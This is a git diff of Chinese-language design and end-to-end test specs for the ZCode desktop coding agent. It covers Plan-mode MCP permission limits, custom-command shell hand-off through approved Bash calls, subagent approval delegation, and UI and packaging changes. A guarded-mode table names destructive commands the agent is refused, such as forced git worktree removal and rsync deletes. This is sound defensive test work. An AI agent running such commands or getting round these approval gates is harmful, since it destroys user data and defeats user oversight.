 PD01–PD12 的前置、动作、断言与证据要求见 [统一生命周期规格](ui/project-task-draft-lifecycle.md)。产品语义 accepted;自动化保持 manual-review/pending,运行证据见 coverage matrix 与规格的验证记录,不代表已转正或发布。覆盖项目/任务新建、同目录项目隔离、接纳后默认配置、目录复用、迟到回执、手机独立恢复及旧数据认领。
 
 PD12 集成边界:新建项目交接正文与内存附件(同目录也交接),关闭分组草稿只撤销分组意图,刷新后仍保留正文。复用 PCD01–03 与 GRP02/03/11 验证;手机长按先检查目标可交互,再发送实际触摸事件。
@@ -2016,13 +2018,22 @@ S17 的恢复边界由 2026-08-18 用户复现确认:普通手机 permission 
 
 ## Y. Plan Mode MCP Permission / 计划模式 MCP 权限边界
 
-Plan mode 的默认边界是只允许只读、非 destructive 工具。MCP 工具是动态 server 暴露的外部能力,部分只读查询型工具不会声明 `readOnlyHint`;这类工具应允许在计划阶段读取上下文,但显式 `destructiveHint: true` 的 MCP 仍必须被 Plan mode 拦截。该组只覆盖桌面端 `desktop-continuous` 的本地 session:通过工作区 `.zcode/config.json` 注入一个 stdio MCP server,稳定暴露一个未声明 `readOnlyHint` 的查询工具和一个 destructive 工具。项目级 deny/ask、伪 `mcp__` 名称、MCP metadata 映射由 core 单测覆盖,不在 GUI E2E 里做全排列。
+Plan mode 只在进入前的模式之上收紧,不新增放行(规则见 [Plan Mode Approval Boundary](./plan-mode-approval-boundary.md))。从 build 进入 Plan 后,未声明 `readOnlyHint` 的非 destructive MCP 需要用户单次确认,且不提供"始终允许";显式 `destructiveHint: true` 的 MCP 仍被 Plan mode 拒绝。该组只覆盖桌面端 `desktop-continuous` 的本地 session:通过隔离 E2E HOME 下的用户级配置注入一个 stdio MCP server(工作区 MCP 需逐条信任才会连接,不适合本组),稳定暴露一个未声明 `readOnlyHint` 的查询工具和一个 destructive 工具。项目级 deny/ask、伪 `mcp__` 名称、MCP metadata 映射由 core 单测覆盖,不在 GUI E2E 里做全排列。
 
 | ID  | 前置状态                                                                                                                             | 用户/系统事件                               | 规则命中                                          | 期望结果                                                                                                                                      | Review   |
 | --- | ------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------- | ------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -------- |
-| Y01 | 桌面本地新 session;模型已通过 `EnterPlanMode` 进入 plan mode;已连接 MCP 工具 `lookup` 无 `readOnlyHint` 且 `destructiveHint:false` | assistant 调用 `mcp__plan_mode_e2e__lookup` | planModeMcpNonDestructiveAllowed + toolTurnStable | 工具真实执行;MCP tool_result 进入下一次 provider-visible 请求;不出现 permission 弹窗或 `mode.plan.nonReadOnly` 拒绝                         | accepted |
+| Y01 | 桌面本地新 session,原模式 build;模型已通过 `EnterPlanMode` 进入 plan mode;已连接 MCP 工具 `lookup` 无 `readOnlyHint` 且 `destructiveHint:false` | assistant 调用 `mcp__plan_mode_e2e__lookup`,用户在权限弹窗选择允许一次 | planModeMcpAsksOnce + toolTurnStable | 调用 MCP server 前出现权限弹窗,且没有"始终允许"选项;允许一次后工具真实执行,MCP tool_result 进入下一次 provider-visible 请求;不出现 `mode.plan.nonReadOnly` 拒绝 | accepted |
 | Y02 | 同一 plan mode turn;已连接 MCP 工具 `reset` 声明 `destructiveHint:true`                                                             | assistant 调用 `mcp__plan_mode_e2e__reset`  | planModeMcpDestructiveDenied + toolTurnStable     | runtime 在调用 MCP server 前拒绝;下一次 provider-visible 请求包含 Plan mode readonly/destructive 拒绝结果;会话仍能收口到最终 assistant 回复 | accepted |
 
+## CCH. Custom Command Shell Hand-off / 自定义命令 `!` 块转交
+
+自定义命令正文里的 `` !`cmd` `` 与 ```` ```! ```` 块在 CLI 解析阶段只改写文本,不执行(规则见 [custom-commands.md](../apps/zcode-cli/docs/design/v2/custom-commands.md)「Dynamic expansion」)。每个块变成一段转交说明加 `bash` 代码块:说明写明这一步来自哪个命令文件及其 `scope/source`、不是来自 ZCode;插件变量换成真实值,会话 ID 与工作区目录变量保持原文,由 Bash 工具注入的环境变量展开([04-bash.md](../apps/zcode-cli/docs/design/v2/tool/04-bash.md))。命令只能经模型的 `Bash` 调用执行,走正常权限流程,用户能看到这次工具调用。该组只覆盖桌面本地 `desktop-continuous` 的项目命令;识别规则、插件变量替换、无法解析时只留说明、参数不被改写由 contracts 单测覆盖,插件命令由 bootstrap 单测覆盖,TUI 路径由 CLI 单测覆盖,Bash 环境变量由 core 单测覆盖。
+
+| ID    | 前置状态                                                                                                                         | 用户/系统事件                                                                        | 规则命中                                                                      | 期望结果                                                                                                                                                                                                                                                       | Review   |
+| ----- | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- |
+| CCH01 | 桌面本地项目草稿,mode=build;项目 `.zcode/commands/<name>.md` 含 `` !`printf '%s' "$CLAUDE_CODE_SESSION_ID" > "${CLAUDE_PROJECT_DIR}/<marker>"` `` | 用户发送 `/<name> <args>`;模型对该步骤发起非只读 `Bash` 调用,用户在权限弹窗拒绝 | customCommandShellNotRunAtResolve + shellHandOffNamesSource + bashPermission | 审批前标记文件不存在;首个模型请求含转交说明,写明 `/<name>` 命令文件、`project/zcode` 和 "not from ZCode",变量保持原文;拒绝后命令未执行,拒绝结果进入下一次请求,会话收口 | accepted |
+| CCH02 | 同 CCH01,新的项目草稿 | 模型发起同一 `Bash` 调用,用户允许一次 | bashPermission + bashSessionEnv + toolTurnStable | 命令经 `Bash` 执行;标记文件出现在工作区根目录,内容等于当前会话 ID(会话 ID 与工作区目录来自 Bash 环境变量);工具结果进入下一次请求,会话收口 | accepted |
+
 ## MO. MCP OAuth Status Isolation / MCP OAuth 状态刷新隔离
 
 MCP 设置页的普通全量刷新具有 replace 收敛语义,用于首次连接、配置变更和清理 stale server;同名同配置 server 已处于 OAuth authorization pending 时,重复全量收敛必须复用原连接、授权 URL 和 callback。OAuth pending、授权回调后的 follow-up,以及从浏览器回到 app 的刷新只读取 runtime status。status-only 请求即使只携带 OAuth server 子集或空数组,也不能断开同一 runtime 中未列出的 MCP,UI 也必须 patch merge snapshot,保留其他 server 的连接态。status-only 请求失败时同样必须保留既有 snapshot、authorization URL 和其他 MCP 的连接态;旧 Agent 不识别 `mode=status` 时必须返回可识别错误并停止定时/焦点轮询,禁止省略 `mode` 后降级为默认 connect。所有缓存、队列和响应必须按 `workspaceKey` 隔离;切换 workspace 后,旧 workspace 的 env、headers、OAuth `clientSecret` 和 stale snapshot 均不得进入新 workspace 的 Agent 或 UI。
@@ -2053,6 +2064,7 @@ child tool。raw child event、event store 和 model-io 仍属于 child session
 | --- | ------------------------------------------------------------------ | ----------------------------------------------- | ----------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- |
 | T01 | 父会话为 `Full access/yolo`,child subagent 调用 `AskUserQuestion` | 用户在父会话问答卡片输入自定义答案并提交        | subagentElicitationDelegated + interactionOriginPreserved + parentProjectionAuthoritative | child `PermissionRequested` 镜像到 parent 并创建 `ProductProjection.pendingInteractions`;问答请求出现在父 task UI 并显示子智能体来源 tag;pending elicitation 保留 `origin.kind=subagent`;用户答案进入 child 下一次模型请求;child resolve 镜像清除 parent pending;父 Agent tool_result 被 continuation 消费并回到 idle | accepted |
 | T02 | 父会话为 `Ask before changes/build`,child subagent 调用 `Bash`    | 用户在父会话 permission 卡片允许一次 child 命令 | subagentPermissionDelegated + interactionOriginPreserved + parentProjectionAuthoritative  | child `PermissionRequested` 镜像到 parent 并创建 `ProductProjection.pendingInteractions`;权限请求出现在父 task UI 并显示子智能体来源 tag;pending permission 保留 `origin.kind=subagent`;允许后 resolve 镜像清除 parent pending,child Bash 结果进入下一次 child 请求;父 continuation 正常收口                          | accepted |
+| T03 | 父会话为 `Ask before changes/build`,内置 Explore child 调用非只读 `Bash` | 用户在父会话 permission 卡片拒绝 child 命令 | exploreInheritsParentMode + subagentPermissionDelegated + interactionOriginPreserved | Explore 继承父会话 build,非只读 Bash 在执行前请求审批;权限请求出现在父 task UI 并显示子智能体来源 tag;拒绝后命令未执行,拒绝结果进入下一次 child 请求;父 continuation 正常收口 | accepted |
 
 ## Z. Tool Error Surface / 工具错误展示
 
@@ -2580,7 +2592,8 @@ assistantText rows
 | APC11 | 对话 A 的 Preview/文件卡已打开右侧 side pane,用户主动点击顶部收起;workspace 内另一个对话 B 可切换                 | A 收起 → 切换 B → 回到 A;再点击 A 的文件入口或顶部展开 | assistantPreviewSidePaneVisibilityPreference   | A 的 Preview tab 保留但面板继续收起,不因 A 仍有可见 tab 自动展开;B 的偏好独立;A 发生新的显式打开/展开动作后恢复展开;关闭最后 tab 仍按现有规则收起                                                                                                                       | accepted |
 | APC12 | workspace 预置有效 MP4/WAV,assistant text 提到两者与一个缺失媒体文件                                               | 完成态渲染并点击 WAV 卡片                               | assistantMediaPreviewCards                     | MP4/WAV 进入与 Office/PDF 相同的存在性校验和逆序卡片链路;点击 WAV 使用 workspace-scoped media service 和原生 audio 控件;媒体不触发 Markdown/HTML fileChanges gate                                                                                                         | accepted |
 | APC13 | Desktop SSH/WSL/Docker workspace 预置大于 8 MiB 的有效 MP4                                                          | 完成态渲染、点击 MP4 卡片并 seek                        | assistantRemoteMediaRangePreview               | Desktop remote attachment 使用 Window Host loopback Range Proxy;播放器收到 `206` 和可 seek 的内容,不上传 OSS,不把媒体字节写入 conversation/replay;手机 `/remote` 不使用该 loopback URL                                                                                  | planned  |
-| APC14 | completed Office preview card                                                                                       | right-click, dropdown and menu actions                  | assistantPreviewCardMenu                       | Unified file applications from getFileApplications: stable IDs, accessible names, explicit default first, 0/1/3/10 candidates and first 3 + More; scoped preview and selected application IPC target; native launch and Web/remote exclusion remain focused/native evidence | accepted |
+| APC14 | completed Office preview card                                                                                       | right-click, dropdown and menu actions                  | assistantPreviewCardMenu                       | Unified file applications from getFileApplications: stable IDs, accessible names, explicit default first, 0/1/3/10 candidates and first 3 + More; local dropdown file-manager reveal after the app group and before Save as, one select-file locator IPC on macOS/Windows (parent-directory IPC on Linux), and the same single entry in the right-click menu (behaviour in APC15); scoped preview and selected application IPC target; native launch and Web/remote exclusion remain focused/native evidence | accepted |
+| APC15 | completed DOCX card, plain localhost URL card, localhost card mapped to an HTML written this turn, and reply-body Markdown links to the local DOCX and its folder (macOS) | right-click and Open dropdown reveal entry; click mapped localhost card; right-click body file / folder link | assistantPreviewCardRevealInFileManager | `在 Finder 中打开` from both menus sends one `OpenInEditor` finder select-file request for the DOCX / mapped HTML; plain URL card has no entry; mapped localhost card still opens its original URL in Browser. Body file link shows the entry once after the app group and before Save as and sends one `OpenInEditor("finder", <path>, {pathKind:"file"})`; body folder link sends one `OpenInFileManager(<dir>)` instead. Windows/Linux labels and remote workspaces are not covered | accepted |
 
 Work 文件动作补充回归(浏览器组件候选,2026-10-21):WORK-FILE-01 在 Web 仅具备保存能力时,从真实产物头部点击「在工作区显示」与「另存为」,分别断言来源路径与下载原字节;WORK-FILE-02 断言下载 Blob URL 在下一轮任务仍可读取、40 秒后释放。入口为 `packages/ui/test/browser/manual-review/pending/workflow-file-actions.test.mjs`,覆盖中英文、深浅主题和 390/1200px。会话 API/正文使用夹具,不据此声称完整手机或实体 Safari 通过。
 
@@ -2673,6 +2686,19 @@ BTL19/20 保留 remote scope 与 non-live logical tab 的进程内不变量;re
 scope 隔离和“不新建 runtime”。provider replay 只固定模型选择,进程内真实 tab 命令仍走
 `node_repl -> host -> main -> webview/CDP`。
 
+## OMCP-SETTINGS. 设置页官方 MCP 授权路由
+
+MCP 启动诊断补充:MCP-DIAG-01 接受 Python/Node 依赖缺失、命令缺失的真实进程失败
+与 stderr 脱敏展示;MCP-DIAG-02 接受桌面/390px 手机、中英文/深浅主题的详情建议,
+以及依赖 fixture 恢复后刷新成功清除旧诊断。只展示证据,不按文本推断错误类别或自动修环境。
+
+| ID               | 前置与操作                                                                             | 预期                                                   | 决策     |
+| ---------------- | -------------------------------------------------------------------------------------- | ------------------------------------------------------ | -------- |
+| OMCP-SETTINGS-01 | 已登录、受控官方 MCP;无聊天 runtime 时打开设置,再启动聊天 runtime 后刷新             | 两次都取得当前授权头;探测不替换聊天 owner             | accepted |
+| OMCP-SETTINGS-02 | A→B→A 切换并制造重叠刷新;探测进程退出后再次刷新                                       | 回调匹配原工作区,迟到结果不覆盖当前页;重建后重新登记 | accepted |
+| OMCP-SETTINGS-03 | 未登记工作区、同路径不同 identity、非法参数、其他 consumer、旧聊天 client 发起授权回调 | 拒绝且凭证解析器不被调用;不可信 Origin 同样拒绝       | accepted |
+| OMCP-SETTINGS-04 | 手机 `/remote` 连接同一 Host,在设置页探测;退出登录后刷新                             | 手机探测成功且无凭证透传;退出后不复用旧凭证           | accepted |
+
 ## BSM. Browser Stateless MCP / Browser 无状态 MCP
 
 Browser Use 继续通过 `mcp__node_repl__js`。升级为 MCP `2026-07-28` 后,MCP frontend 不拥有
@@ -3438,7 +3464,7 @@ shared-host attachment 的物理网络证明。
 | DCA-V1-11 | guarded,git worktree remove -f/--force/重复 force                                                               | 拒绝调用                               | handler 零执行,provider 收到拒绝;普通 remove 不命中                                                                                         | accepted |
 | DCA-V1-12 | guarded,rsync delete 系列                                                                                       | 拒绝调用;对照 dry-run/参数值          | handler 零执行,provider 收到拒绝;真实 dry-run 不命中                                                                                        | accepted |
 | DCA-V1-13 | 显式选择 guarded,随后 Plan/切换/保存/恢复                                                                       | 读取权威 mode                          | 模式贯通,退出 Plan 恢复 guarded;默认值/旧记录不迁移;未知模式协议拒绝                                                                       | accepted |
-| DCA-V1-14 | guarded 父任务,普通 child 原为 yolo 或显式 plan/edit;workflow/script child 对照                                | 创建各类 child 并完成用户回应          | 普通/Explore yolo 派生 guarded,其余保留;workflow/script child 仍 yolo、父仍 guarded;普通 child 审批在父投影可见并返回原请求                | accepted |
+| DCA-V1-14 | guarded 父任务,普通 child 原为 yolo 或显式 plan/edit;workflow/script child 对照                                | 创建各类 child 并完成用户回应          | 普通 child 的 yolo 派生 guarded,Explore 继承 guarded,其余保留;workflow/script child 仍 yolo、父仍 guarded;普通 child 审批在父投影可见并返回原请求                | accepted |
 | DCA-V1-15 | 同一危险命令的 guarded 与原 yolo 对照                                                                            | guarded 拒绝/单次允许,yolo 受控执行   | 拒绝零执行、批准仅一次、无项目规则写入;原 yolo 不新增确认,provider 收到真实结果                                                             | accepted |
 | DCA-V1-16 | guarded 问答、Hook 改写与单次审批                                                                                | 完成答案、修改命令、重复/迟到/即时响应 | broker 答案或修改后批准不重开;改写 normalize/schema;Hook 不重复执行且重判需要确认时新 ID;终态唯一、handler 0/1 次                          | accepted |
 | DCA-V1-17 | guarded pending,模式/cwd 改变或取消/超时/重启;Shell 固定为会话选择                                             | 用户回应或恢复                         | 批准执行 input/mode/cwd 快照,复用 session Shell、不另建副本;保留错误类型;取消不执行;hydrate 中断旧调用,不复活旧请求                      | accepted |
@@ -5528,3 +5554,33 @@ SLR10 review 补充(covered / pending-review):Agent 建立受控页面后
 | SSV04 | 从草稿、其他会话和其他工作区切回后台任务;桌面/手机、深浅主题及中英文 | 顶部标题逐帧与 DOM 变化均不出现 UI 默认“新建任务”/“New task”;Host 标题未返回时留空,返回后显示真实标题,不沿用其他任务标题 |
 
 SSV01/02/04 使用真实 Electron、Host 与 CLI;SSV03 同时保留 Electron 冷恢复和共享 Timeline 浏览器验收。候选保持 pending,不计入 formal/CI。
+
+2026-10-26 SAT30 / R3A-TASK-06:父会话真实 Bash cd 后启动 Agent,child 持久化稳定 workspace 身份;退出远端 CLI 与桌面后重新打开原 child,检查新进程身份与原历史正文;随后验证 fork 立即打开及再次重启恢复。macOS Electron + Linux SSH Source、受控模型回放通过,两个重启边界均核对 PID/startTicks 换代。CLI 同时覆盖旧 child 错误 cwd 的两代冷恢复、continuous/replayable 及外部身份拒绝。Host 回归覆盖同目录双项目 fork、facts/ACK 两种顺序、重复交接不覆盖移动、历史远端 NULL 迁移和本地 NULL 保留。未覆盖 Windows 原生运行或实体手机,用例继续保持 pending。
+
+## HF01 / SLR 启动归属修复验收(2026-10-30)
+
+covered,候选不自动晋升 formal/CI:HF01 的持久 root 使用带末尾分隔符的旧路径,Host 保持当前路径;
+真实冷打开先显示历史,初始化完成可续发,随后菜单重启保持同一会话和历史。
+SQLite 路径字段在打开、续发、重启后保持不变。SLR 综合例回归桌面 continuous 与手机 replayable
+的菜单、/reload、所属工作关闭与浏览器重用。CLI 补充上下文冲突、旧协议、父链、慢关闭和必要收尾失败。
+不把 CLI 的路径兼容测试宣称为 Windows 原生 UI 证据。
+
+本轮 Linux 容器真实 Electron + 390×844 触屏 Chromium:2 个 spec、3 项用例全部通过,
+无 skipped、无自动重试;深浅主题、菜单、/reload、所属工作关闭与网页保留均通过。
+HF02 注入的是实例 ready 后的快照读取错误;重试应恢复投影并复用实例,不重新执行 resume hook。
+已将过时的“必须重跑 hook”断言改为 generation 与 hook 次数不变,同时保留历史、草稿和滚动断言。
+运行 ID:`desktop-e2e-20261030130734643-p171148-b5576a1c78002a0f`;原始截图、日志保留在运行环境,
+尚未作为仓库附件归档。持久复验入口为上述 E2E 及其受控 provider fixture。
+本轮未实跑 Windows/macOS 原生 GUI、实体手机或 SSH 远端。
+
+### HF / SLR 启动入口补全回归(2026-11-02)
+
+原 HF01–02、SLR 综合交互预期不变。CLI 增加:continuous/replayable 冷恢复期间异工作区
+ensureReady/restart/resume 必须被拒,同工作区共享一次启动;两种旧 WSL NULL identity 形态
+分别经带 workspace 的普通恢复、ensureReady、restart、V4 订阅成功修复,其他用户 identity
+不能通过且不写库。资源关闭超过 30 秒只记录未完成 owner,不提前成功或失败。
+这些协议与资源断言由 CLI 场景测试负责,不声称覆盖原生 WSL 或跨机 UI。
+
+HF / SLR 激活隔离补充:已有远程实例就绪后,仅替换或删除 workspaceIdentity、保持其他字段不变,
+ensureReady/restart 必须拒绝,原实例不关闭且 generation 不变;正确身份继续可用。由 CLI 协议
+回归直接构造矛盾参数覆盖,正常桌面/手机入口继续沿用 HF/SLR E2E,不增加 UI 行为。

+ 11 - 11
docs/desktop/windows-taskbar-unread-badge.md

@@ -28,7 +28,7 @@ usePlatform().syncWindowUnreadCount(count)                 IPC: zcode:sync-windo
 syncApplicationUnreadBadge(map)                     desktopWindowLifecycle.ts
     │
     ├─ darwin / linux → app.setBadgeCount(total)            (既有行为)
-    └─ win32         → 对每个 BrowserWindow 调 setOverlayIcon + 托盘红点(本文新增)
+    └─ win32         → 对每个 BrowserWindow 调 setOverlayIcon(本文新增)
 ```
 
 统计与同步链路三平台共用;只在主进程"最后一公里"按平台分叉。
@@ -37,12 +37,12 @@ syncApplicationUnreadBadge(map)                     desktopWindowLifecycle.ts
 
 Electron 在 Windows 通过 `BrowserWindow.setOverlayIcon(image, description)` 支持任务栏角标(Shell `ITaskbarList3::SetOverlayIcon`)。与 `setBadgeCount` 不同,**overlay 不负责渲染数字**,必须自绘徽章图。
 
-- **位置**:overlay 由系统固定绘制在任务栏按钮右下角(与 Windows 更新盾牌、Outlook 同步状态同一机制),API 无位置参数,无法绘制右上角效果;右上角只在托盘角标上可行(自绘可控)。
+- **位置**:overlay 由系统固定绘制在任务栏按钮右下角(与 Windows 更新盾牌、Outlook 同步状态同一机制),API 无位置参数,无法绘制右上角效果。
 - **观感**:任务栏 overlay 按 Windows 固定显示尺寸提供原生 1x(16×16)与 2x(32×32)`NativeImage` representation,不再把普通 32px 硬边圆交给 Shell 盲缩。红点为纯红、无描边、4× 超采样抗锯齿,逻辑直径约 7px。同一个安装包运行时按系统 build 自动选画布圆心:Win10(build < 22000)在画布内右下锚定,补偿旧任务栏的 overlay 落点;Win11(build ≥ 22000)在画布内居中,避免 Shell 已放到图标角上后再次右下锚定造成二次偏移。无障碍 description 仍携带具体数量(如 "3 unread tasks")。
-- **托盘角标**:Windows/Linux 托盘(`Tray`)在应用图标右上圆角缺口合成纯红点(无数字)。尺寸与任务栏独立,保持约 8px;同样提供原生 1x(16px)与 2x(32px)表示并用 4× 超采样抗锯齿,解决硬边 32px 合成图被 Shell 缩放后的模糊。计数变化时 `tray.setImage` 换图,归零恢复原始多分辨率图标;macOS 无托盘(平台返回 null),由 Dock 角标承担。
+- **托盘不挂角标**:Windows/Linux 托盘(`Tray`,屏幕右下角通知区域)保持原始图标,不合成未读红点。2026-10-30 起移除:托盘红点在用户眼里像"常驻不消",与通知区域"有红点 = 有新消息"的惯例冲突;未读提醒由任务栏 overlay 与应用内任务列表蓝点承担。
 - **多窗口**:所有窗口统一显示全局未读总数(与 macOS Dock 显示应用级总数一致,符合"完成了几个会话就显示几"的直觉)。无任务栏按钮的窗口(CUA 指示器、更新状态窗等 skipTaskbar 窗口)设置 overlay 无副作用,不单独排除。
-- **清零**:`count = 0` 时任务栏传 `null` image 移除角标,托盘恢复原图。
-- **性能**:角标只在"任务完成 / 用户查看任务"时变化,更新频率为事件级;徽章图按 label 缓存在内存,单次更新是一次查表 + 一次 Shell 调用 / 一次托盘换图。
+- **清零**:`count = 0` 时任务栏传 `null` image 移除角标。
+- **性能**:角标只在"任务完成 / 用户查看任务"时变化,更新频率为事件级;徽章图按 label 缓存在内存,单次更新是一次查表 + 一次 Shell 调用。
 - **无障碍**:overlay `description` 传静态英文描述(主进程无 i18n 管线,v1 不做本地化)。
 
 ## 平台矩阵
@@ -50,15 +50,15 @@ Electron 在 Windows 通过 `BrowserWindow.setOverlayIcon(image, description)` 
 | 平台                  | 机制                                                 | 状态                       |
 | --------------------- | ---------------------------------------------------- | -------------------------- |
 | macOS                 | `app.setBadgeCount`(Dock 红色数字)                 | 已上线,不变               |
-| Linux(Unity/KDE 等) | `app.setBadgeCount`(LauncherEntry D-Bus)+ 托盘角标 | 已上线,托盘角标为本文新增 |
-| Linux(原生 GNOME)   | 系统无 badge API                                     | 托盘角标兜底(本文新增)   |
-| Windows               | `BrowserWindow.setOverlayIcon` + 托盘角标            | 本文新增                   |
+| Linux(Unity/KDE 等) | `app.setBadgeCount`(LauncherEntry D-Bus)             | 已上线,不变               |
+| Linux(原生 GNOME)   | 系统无 badge API                                     | 无角标                     |
+| Windows               | `BrowserWindow.setOverlayIcon`                       | 本文新增                   |
 
 ## 测试与验证
 
-- 单测:label 解析(0/1~9/10+)、像素渲染尺寸/边距与关键像素颜色(含红点模式无数字)、预乘 alpha 混合、托盘换图(红点合成、清零恢复原图、无托盘 no-op)、win32 分支对 `setOverlayIcon` 的调用(含清零传 null、多窗口、跳过已销毁窗口)、darwin/linux 分支仍走 `setBadgeCount`。
-- 手工验收(Windows):完成任务 → 任务栏图标右下角出现角标并计数,托盘图标右上角出现小徽章;打开任务 → 双双递减;全部读完 → 消失/恢复原图;多窗口显示同一总数。
-- E2E:任务栏 overlay 与托盘图均为 OS Shell 渲染,WebDriverIO 无法断言,以单测 + 手工验收覆盖(验收记录见 MR 描述)。
+- 单测:label 解析(0/1~9/10+)、像素渲染尺寸/边距与关键像素颜色(含红点模式无数字)、win32 分支对 `setOverlayIcon` 的调用(含清零传 null、多窗口、跳过已销毁窗口)、darwin/linux 分支仍走 `setBadgeCount`。
+- 手工验收(Windows):完成任务 → 任务栏图标右下角出现角标并计数,托盘图标始终不挂红点;打开任务 → 递减;全部读完 → 消失;多窗口显示同一总数。
+- E2E:任务栏 overlay 为 OS Shell 渲染,WebDriverIO 无法断言,以单测 + 手工验收覆盖(验收记录见 MR 描述)。
 
 ## 边界与已知限制
 

+ 3 - 1
docs/electron/electron-builder-26.17-upgrade.md

@@ -54,7 +54,9 @@ dmg-builder@1.2.5 的 dmgbuild 会把 `dmg.contents` 中每个 `type:"file"` 条
 
 因此 Windows 签名钩子按 MZ 魔数过滤:仅在成功读取魔数并确认非 MZ 时跳过签名并打印 `[sign-windows-hook] skip non-PE file`;打开或读取失败必须向上抛错使构建失败,禁止把"无法判定"当作"无需签名"(评审 CR-01,否则真实 PE 会带着签名成功的假象漏签)。Windows Authenticode 只对 PE 有意义,确认非 PE 后跳过不损失签名覆盖。签名输入的合法性由钩子唯一判定,不依赖收集器或 smartUnpack 的文件集合行为。
 
-同一收集器行为还带来包体死重:全平台 `@img/sharp-*` 变体约 110MB(未压缩)进入 app.asar。`desktop-native-package-policy` 按目标平台保留唯一变体集合(win32 只留 `sharp-win32-<arch>`,darwin 留 `sharp-darwin-<arch>` 与 `sharp-libvips-darwin-<arch>`,linux 留 `sharp-linux-<arch>`),其余在 files 规则裁剪;若裁剪漏网,afterPack 的违规检查以"sharp 包含非目标平台变体"fail-closed。新增 sharp 平台变体命名时必须同步更新该清单。
+同一收集器行为还带来包体死重:全平台 `@img/sharp-*` 变体约 110MB(未压缩)进入 app.asar。`desktop-native-package-policy` 按目标平台保留唯一变体集合(win32 只留 `sharp-win32-<arch>`,darwin 留 `sharp-darwin-<arch>` 与 `sharp-libvips-darwin-<arch>`,linux 留 `sharp-linux-<arch>`),其余在 files 规则裁剪;若裁剪漏网,afterPack 的违规检查以"sharp 包含非目标平台变体"fail-closed。现有手写变体清单只覆盖已知包名,不能作为新增平台变体的长期防线。
+
+Windows x64 CI 在 Windows ARM64 虚拟机上构建,且 Windows x64/arm64 job 可能并行使用同一 checkout。不能通过改变全局 `supportedArchitectures` 或删改共享 `node_modules` 来选择打包目标:这会改变另一 job 的安装树。Windows x64 job 单独启用产物裁剪:在 `afterPack` 的现有 `app.asar` 解包暂存目录里,依据每个包 `package.json` 的 `os`/`cpu` 平台约束删除与 `win32/x64` 不兼容的包,重打包后继续执行 native 资源和运行时闭包的严格校验。无约束包原样保留;不维护新的包名排除清单。此开关不由 Windows arm64、macOS 或 Linux job 启用,不修改它们的依赖安装或打包行为。
 
 ## 验收
 

+ 5 - 2
docs/file-preview-open-apps.md

@@ -14,6 +14,7 @@
 - 本身执行外部打开的工具栏按钮也显示默认应用图标,并用完整名称作提示;仍执行 ZCode 内置预览的主按钮保留预览语义。菜单在打开时查询,外部打开工具栏在目标改变时查询,不为文件树所有行或所有聊天卡片预先批量查询。目标变化立即清除旧名称和图标,旧请求不得覆盖新目标。
 - 预览菜单的来源工作区沿用 `source.workspacePath ?? workspacePath`;仅提供外层工作区时也不丢失复制、保存及远程判定。支持远程编辑器的主按钮在首次显示时按当前来源查询,无需先展开菜单;每个来源仅自动尝试一次,失败后允许展开菜单重试。
 - 选择应用后用该应用打开本机文件;既有系统默认打开入口、复制路径、预览和文件管理器定位动作沿用原义。
+- 文件卡片的 Open 下拉在应用分组之后、另存为之前提供文件管理器定位项,文案与文件树一致(macOS「在 Finder 中打开」、Windows「在资源管理器中打开」、Linux「在文件管理器中打开」),点击后定位并选中该文件:macOS / Windows 复用 `openInEditor` 的 finder / explorer 分支(本机 `shell.showItemInFolder`,WSL 转 UNC 后 `explorer /select,`),不新增 IPC;Linux 没有统一定位能力,或定位失败时,回退 `useFileContextActions.revealInFileManager` 打开文件所在目录。仅本机文件与 WSL 工作区显示;其他远端隐藏,不把远端路径交给本机文件管理器。聊天产物卡片的右键菜单提供同一定位项,localhost 卡片只有映射到本轮写出的本机 HTML 时才显示(见 `docs/ui/assistant-preview-cards.md`)。会话正文里的文件链接(`MessageFileLink`)右键菜单也提供同一定位项,位于应用分组与分隔线之后、另存为之前:文件链接定位并选中该文件,目录链接(stat 结果,或 stat 返回前链接末尾的 `/`)直接用 `OpenInFileManager` 打开该目录;显示条件同为本机或 WSL,SSH/Docker 等远端与 Web 隐藏。
 - 聊天产物文件卡片的右键菜单和 Open 下拉均提供 Save as… / 另存为,将原文件字节保存到用户选择的位置。保留文件名和格式,不把预览渲染结果当作原文件。
 - Work 产物保存当前所选版本的字节,不读取可能已被后续版本覆盖的同名工作区文件。仅在用户点击打开、展开打开方式菜单或复制副本路径时物化该版本的本机副本;挂载、加载字节和切换版本不会为了图标预取而自动落盘。首次交互前主按钮使用中性的系统打开图标,展开菜单查询到默认应用后才显示其图标;另存为直接使用当前版本字节。
 - 保存成功显示一次简短反馈:桌面确认写入完成后显示“已保存”,浏览器仅在下载交付后显示“已开始下载”。用户取消时不显示任何反馈;失败沿用错误提示。卡片、预览、消息、文件树共用同一保存入口,Work 产物使用相同的结果判定,不重复提示。
@@ -35,11 +36,13 @@ Linux 优先使用桌面已有的 GIO 查询和启动;缺少 GIO 时,通过
 
 Windows 默认标记以 `IApplicationAssociationRegistration.QueryCurrentDefault(AL_EFFECTIVE)` 返回的有效关联为准,不直接把注册表 `UserChoice` 当作已生效的默认配置。读取有效 ProgID 对应的 AppID、可执行文件,再按 handler 的 ProgID、AppID、唯一可执行路径依次匹配;高优先级产生多个候选时,只能用后续证据收窄,不能另选同名应用。无法唯一匹配或系统查询失败时不标默认。此规则兼容没有 exe 路径的浏览器或打包应用,并保留 Shell 实际有效默认与原始 UserChoice 不一致的情况。候选查询与实际启动仍使用原 Shell handler;不修改默认关联。
 
+Windows 查询和启动前,desktop main 把文件路径规范化为 Windows 原生分隔符(`win32.normalize`),原生启动侧再以 `Path.GetFullPath` 兜底。聊天 Markdown 链接在 Windows 上会还原为 `C:/...` 正斜杠路径,`stat` 能通过、关联查询也能列出应用,但 `SHCreateItemFromParsingName` 对正斜杠返回 `E_INVALIDARG`,未规范化时会出现“菜单列出应用却打不开”。
+
